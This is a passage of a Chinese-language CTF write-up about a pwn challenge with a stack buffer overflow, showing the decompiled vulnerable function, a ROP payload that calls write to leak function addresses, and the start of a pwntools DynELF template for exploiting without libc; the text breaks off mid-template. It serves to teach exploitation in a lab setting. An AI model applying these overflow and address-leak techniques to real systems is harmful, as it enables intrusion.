这题下载文件下来,文件与level3反编译后伪代码基本一样,只是相比level3少了一个libc文件。level3
vulnerable_function()中存在明显的栈溢出,分配了0x88的空间,能输入0x100的内容。
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
return read(0, &buf, 0x100u);
}
同样以payload payload = 'a' * 0x8c + p32(elf.symbols['write']) + p32(elf.symbols['vulnerable_function']) + p32(1) + p32(address) + p32(4)
可以泄露出函数的地址,但是在这没有现成的libc文件给我们利用来查找system函数的地址。
查阅资料后,这里可以用到pwntools的DynELF模块来应对无libc情况,具体可见【技术分享】借助DynELF实现无libc的漏洞利用小结。
DynELF的基本利用模板为:
p = process('./xxx')
def leak(address):
#各种预处理
payload = "xxxxxxxx"</